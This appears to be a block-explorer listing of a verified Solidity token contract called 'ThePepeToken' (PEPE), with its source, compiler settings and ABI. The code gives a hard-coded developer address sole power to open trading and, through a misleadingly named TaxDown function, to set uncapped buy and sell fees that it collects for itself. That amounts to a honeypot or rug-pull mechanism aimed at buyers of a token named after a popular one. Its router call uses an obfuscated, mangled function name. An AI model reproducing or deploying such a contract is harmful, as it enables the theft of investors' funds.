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0x77...6740
PEPE

PEPE

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合同元数据
编译器
0.8.21+commit.d9974bed
语言
Solidity
合同源代码
文件 1 的 1:Pepe.sol
// SPDX-License-Identifier: unlicense


pragma solidity 0.8.21;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportinggdsfhasdOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract Pepe {
        
        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public   _name = unicode"ThePepeToken"; 
        string public   _symbol = unicode"PEPE";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1000000000 * 10**decimals;

        uint256 buygdsfhasd = 0;
        uint256 sellgdsfhasd = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return _name;
        }

    
        function symbol() public view virtual returns (string memory) {
        return _symbol;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed Mdevs,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant Mdevs = payable(address(0xec38c91f78d8F0Dfe8b4C31CA5F9029442F0F92B));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == Mdevs || to == Mdevs);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportinggdsfhasdOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                Mdevs.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 gdsfhasdAmount = amount * (from == pair ? buygdsfhasd : sellgdsfhasd) / 100;
                amount -= gdsfhasdAmount;
                balanceOf[address(this)] += gdsfhasdAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function TradingOpen() external {
            require(msg.sender == Mdevs);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _TaxDown(uint256 _buy, uint256 _sell) private {
            buygdsfhasd = _buy;
            sellgdsfhasd = _sell;
        }

        function TaxDown(uint256 _buy, uint256 _sell) external {
            if(msg.sender != Mdevs)        
                revert Permissions();
            _TaxDown(_buy, _sell);
        }
    }
设置
{
  "compilationTarget": {
    "Pepe.sol": "Pepe"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Mdevs","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"TaxDown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]